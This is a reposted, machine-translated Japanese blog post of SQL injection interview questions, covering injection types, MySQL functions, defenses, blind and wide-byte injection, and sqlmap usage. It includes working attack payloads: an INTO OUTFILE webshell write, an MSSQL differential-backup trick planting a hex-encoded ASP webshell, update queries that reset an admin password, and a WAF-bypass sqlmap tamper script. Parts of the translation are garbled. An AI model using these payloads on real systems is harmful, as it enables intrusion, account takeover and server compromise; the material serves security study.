SQL インジェクション関連 [面接の質問]

目次

序文

この記事は主に SQL インジェクションに関するインタビューの質問を集めて更新し続けています。もちろん、ブロガーの時間がないため、更新はあまりタイムリーではないかもしれませんが、どんなに遅れても必ず来ると信じてください。
読者と友人は特に私のブログに注目するか、私の WeChat 公開アカウントに注目してください: Xiaobai は IT を学びます

面接の質問

共通データベースポート

1、mysql:3306
2、sqlserver(mssql):1433
3、oracle:1521
4、postgreSQL:5432
5、db2:50000

SQL インジェクションはどのような影響 (害) をもたらす可能性がありますか?

1. ログイン モジュールのインジェクションの脆弱性により、ユニバーサル パスワードを使用してログイン認証をバイパスできます。
2. (データベースから) データを取得し、管理者アカウントのパスワードを見つけます。
3. ファイルの内容を読み取り、ファイルに書き込みます。サーバーへの送信 (Web シェルを作成すると、Web サイトにはトロイの木馬が埋め込まれます)
4. データベースを破壊し、Web サイトをクラッシュさせます。

SQLインジェクションの種類は?

1. インジェクションポイントのデータ型による分類:数値型、文字型
2. データ送信方式による分類:GETインジェクション、POSTインジェクション、ヘッダーインジェクション(Cookieインジェクション、ホストインジェクション、ユーザーエージェントインジェクション、リファラーインジェクション...) 3
.実行効果による分類: ユニオン注入攻撃、ブール注入攻撃 - ブールブラインド注入、エラー注入攻撃、タイムインジェクション攻撃 - タイムブラインド注入、スタッククエリ注入攻撃、二次注入攻撃、ワイドバイト注入攻撃...

MySQL は共通関数を挿入します

database() は現在のデータベース名を返します
user() は現在のデータベースのユーザー名を返します、代替関数: @@user
updatexml() はエラー挿入によく使用される XML ドキュメントを更新します、代替関数: extractvalue()
mid() は指定されたフィールド 出力フィールドの内容
limit() 結果の最初の数個のデータまたは中間データを返します
concat() パラメータによって生成された文字列を返します
group_concat() グループ スプライシング関数、代替関数: concat_ws()
count( ) 指定されたパラメータの数を返します
rand() パラメータ 0 ~ 1 の乱数
float() 切り捨て
substr() インターセプト文字列、代替関数: substring() Mid()
ascii() 文字列の ASCII コードを返します
left() が返します最も多い文字列 左側の指定された数の文字
ord() は文字の ASCII コードを返します
length() は文字列の長さを返します
sleep() 遅延関数

SQLインジェクションの防御方法

1. 安全な API を使用する
2. 入力された特殊文字をエスケープする
3. ホワイトリストを使用してユーザー入力を標準化する4. ブラックリストを使用してユーザー入力を標準化する たとえば、ユーザーは、select 5
などの SQL のような文字列を入力することはできません。
サーバー側 SQL クエリのデータベースを送信する前に、特殊文字のフィルター、エスケープ、置換、および削除を行う
6. すべての SQL ステートメントはプリコンパイルされ、変数がバインドされます
7. WAF などの保護にセキュリティ デバイスを使用します

インジェクションを中断するときに文字をエスケープする方法

1. ワイドバイトインジェクション
2. 16 進数エンコーディングのバイパス

パラメータ化されたクエリが SQL インジェクションを妨げる理由

パラメータ化された (プリコンパイルされたバインド変数) クエリを使用する場合、データベースは最初に SQL ステートメントをコンパイルし (実行される SQL ステートメントのセマンティクスが決定されています)、次にバインドされたパラメータ値を適用します。つまり、パラメータ化されたクエリが使用された後は、パラメータの値によって SQL ステートメントのセマンティクスが変更されることはなく、データベースはコンパイルされた SQL ステートメントのセマンティクスのみを実行します。

mysql ウェブサイト インジェクション 5.0 以上と 5.0 以下の違いは何ですか?

1. mysql5.0 以下では、information_schema ライブラリがなく、名前のリストができず、テーブル名を乱暴に実行することしかできません
2. mysql5.0 以下では、マルチユーザーのシングル操作です
3. mysql5.0 以降では、それはマルチユーザーかつマルチオペレーションです。

ブラインドベットとは何ですか? ブラインドベットのやり方は?

1. ブラインドインジェクションとは、SQLインジェクションを行った際に、SQL文の実行結果をページ上に表示(エコー)せず、SQLインジェクションの有無や利用方法をSQLインジェクションの変化から判断するしかないことを指します。サーバーから返されたコンテンツと応答時間。
2. ブールベース(ブールブラインドインジェクション)は、ページから返された内容が正しいかどうかでインジェクションの有無を判定します 3.
時間ベース(時間(遅延)インジェクション)は、サーバーの応答時間の差でインジェクションを判定します(SQL ステートメントの実行長) の遅延効果は、ベンチマークやスリープなどの関数によって引き起こされる可能性があります。また、遅延効果は、大きなデカルト積の結合クエリ テーブルを構築することによって達成されることもあります。

ワイドバイトインジェクションの原理と根本原因は何ですか?

字节基础:(1) シングルバイト文字セット: ASCII コード (0-127) など、すべての文字は 1 バイトで表されます; (2) マルチバイト文字セット: マルチバイト文字セットでは、一部のバイトが複数のバイトで表されます。他の部分 (おそらく何もない) は 1 バイトで表されます。
原理:
ワイド バイト インジェクションは主に mysql の機能を使用します。GBK エンコーディングが使用される場合、2 つの文字は漢字とみなされます。php の addslash と magic_quotes_gpc が有効な場合、一重引用符 (0x27) は '' の形式にエスケープされます。 \ のコードは 0x5c GBK コードを使用する場合、0x5c の前に 0xdf のような文字がある場合、それを結合して漢字を形成し、結果は 0xdf5c27 となり、0xdf5c は漢字に結合されます。引用符 ( 27) これは自然に再び有効になります (エスケープは無効であり、DF によって食べられます)。これがワイド バイト インジェクションの原理です。
根本原因
Character_set_client (クライアント文字セット) とcharacter_set_connection (接続層文字セット) が異なっているか、iconv、mc_convert_encoding などの変換関数が不適切に使用されています。
解决方法
(1) mysql_set_charset (GBK) を使用して文字セットを指定します
(2) mysql_real_escape_string を使用してエスケープします mysql_real_escape_string
とaddlashesの違いは、mysql_set_charsetを使用する前に文字セットを指定するためにmysql_set_charsetを使用する必要があるため、現在設定されている文字セットを考慮することです。 mysql_real_escape_string。

遅延噴射はどのように判断するのですか?

sleep() を通じてペイロードを構築します。応答時間が一貫していない場合、注入が遅延する可能性があります。
' や sleep(5) など -- ページの応答時間が秒を超える場合、遅延挿入が行われます。

ブラインドインジェクションでデータを迅速に取得する方法

dnslog を使用してブラインド インジェクションを支援する

SQLで更新のみを使用するにはどうすればよいですか?

インジェクションを含む SQL ステートメントが次のようになっているとします。

update user set password='md5($passwd)',page='$page' where id='$id'

アイデア: 更新型インジェクションなので、直接何かを変更するというアイデアです。もちろん、実際の操作は難しいかもしれませんが、主なアイデアは次のとおりです。
当注入点在passwd时,思路sql语句:ユーザーのパスワードを変更する

update set password='md5($passwd)' where username='admin'#',page='$page' where id='$id'

当注入点在page时,思路sql语句ユーザーレベルを変更する

update user set password='md5($passwd)',page='$page', userlevel='1' where id='$id'

当注入点在id时,思路sql语句ユーザーのパスワードを直接変更する

update user set password='md5($passwd)',page='$page' where id='' or username='admin'

次のリンクに SQL インジェクションの脆弱性がありますが、この変形したインジェクションについてはどうお考えですか?

test.php?id=AnjNjndm==

パラメータ ID は、base64 エンコードされている可能性があります。base64 エンコードであることが確認された場合は、テスト前にテスト ペイロードを Base64 エンコードします。

test?id=1 の注入ポイントが見つかりました。getshell にはどのようなアイデアがあり、優先順位は何ですか?

1. 書き込み権限があれば、直接 sqlmap --os-shell を実行してシェルを取得します (もちろん、手動で作成することもできます)
2. データを取得し、Web サイトのアカウントを取得し (できれば管理者アカウントで)、脆弱性 getshell をアップロードします。背景。
最初のタイプは優先度が最も高く、速度も最も速いですが、特定の状況に応じて決定する必要があります。

SQLMapの共通パラメータ?

-u は URL を指定します。
-r はリクエスト パケットのテキスト ファイルを指定します。
-m は取得インジェクションをバッチで実行します。
–current-db は現在のデータベースを取得します。
–table は指定されたデータベースの下にあるデータ テーブルを取得します。
–tamper はバイパスする改ざんスクリプトを指定します
。 –os -shell シェルを取得します
–random-agent user-agent をランダムに指定します
注:只列举这么多,具体情况看个人对sqlmap的熟悉情况,没事儿多用。

SQLMap はどのようにして注入ポイントを注入しますか?

1. タイプ インジェクションの取得、直接 sqlmap -u url アドレス
2. ポスト タイプ、(1) sqlmap -u url --data=post パラメーター (2) sqlmap -r データ パケットのリクエスト ファイル アドレス
3. ヘッダー インジェクション、sqlmap - rリクエスト パケットのファイル アドレス
注: ポスト インジェクションまたはヘッダー インジェクションを実行する場合、* を使用してインジェクション ポイントをマークできます。

SQLインジェクション書き込みシェル条件

1. 現在のデータベース ユーザーは管理者権限を持っている必要があります
2. Web サイトの絶対パスを知っている必要があります
3. Web サイトが書き込み可能なディレクトリが必要です
4. MySQL は secure_file_priv を空に設定する必要があります
示例:

d=1' and 1=2 union select 1,2,'shell内容' into outfile "/www//site//shell.php" %23

注: sqlmap --os-shell を使用する方がより直接的です。

udf 権限昇格の原則

MySQL はユーザー定義関数をサポートしており、悪意のあるユーザーはカスタム関数を含む DLL を特定のフォルダーに置き、導入で紹介した実行関数を宣言し、実行された関数を使用してシステム コマンドを実行します。

MSSQLの差分バックアップのgetshell方法

前提条件:
1. MSSQL 固有の dbo および sa 権限 (データベース バックアップ権限)
2. スタック クエリのサポート
3.
实现原理
Web サイトの絶対パスがわかってバックアップが完了したら、データベースを再度変更します。差分バックアップは最後の LSN を記録し、シェルを書き込みます。データベースをバックアップし、ASP に getshell でバックアップできます。
1.完整备份一次

 backup database 库名 to disk = 
    'c:\ddd.bak';--

2.创建表并插入数据

create table [dbo].[dtest] ([cmd] 
[image]);--
insert into dtest(cmd) 
values(0x3C25657865637574652872657175657374282261222929253E);--

0x3C25657865637574652872657175657374282261222929253E、これはポニーのコンテンツです: <%execute(request(“a”))%>
3.进行差异备份

 backup 
    database 库名 to disk='目标位置\d.asp' WITH 
    DIFFERENTIAL,FORMAT;--

SQL インジェクション バイパス (waf 経由) のアイデア

1. インラインコメントのバイパス
2. ダーティデータの埋め込みのバイパス
3. リクエストメソッドの変更 (GET から POST など)
4. ランダムエージェントのバイパス
5. ファズフィルター機能、関数置換のバイパス
6. sqlmap、改ざんスクリプトのバイパス ---上記アイデア

SQLMAP書き込み改ざんスクリプトメソッド

tamper脚本编写模板

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW 

def dependencies(): 
     pass

def tamper(payload, **kwargs): 
      pass

PROIORITY
タンパーの優先度を定義するために使用されます。複数のタンパーが呼び出された場合に有効になります。優先度は次のとおりです。値が大きいほど優先度が高くなります。

    LOWEST = -100
    LOWER = -50
    LOW = -10
    NORMAL = 0
    HIGH = 10
    HIGHER = 50
    HIGHEST = 100

dependencies

これは、改ざんの適用範囲についてユーザーにプロンプ​​トを表示するために使用され、具体的なコードは次のとおりです。

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os

__priority__ = PRIORITY.LOW

def dependencies():
    singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL は MYSQL を表し、同様に他のデータベースも表します。
tamper关键函数,用于定义过滤规则,示例代码如下:

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    payload=payload.replace('AND','/*!29450AND*/')
    payload=payload.replace('ORDER','/*!29450order*/')
    payload=payload.replace('LIKE USER()','like (user/**/())')
    payload=payload.replace('DATABASE()','database/*!29450*/()')
    payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')
    payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')
    payload=payload.replace('UNION ALL SELECT','union/*!29450select*/')
    payload=payload.replace('super_priv','/*!29450/**/super_priv*/')
    payload=payload.replace('and host=','/*!29450and*/host/*!11440=*/')
    payload=payload.replace('BENCHMARK(','BENCHMARK/*!29450*/(')
    payload=payload.replace('SLEEP(','sleep/**/(')

おすすめ

転載: blog.csdn.net/weixin_42380348/article/details/121781562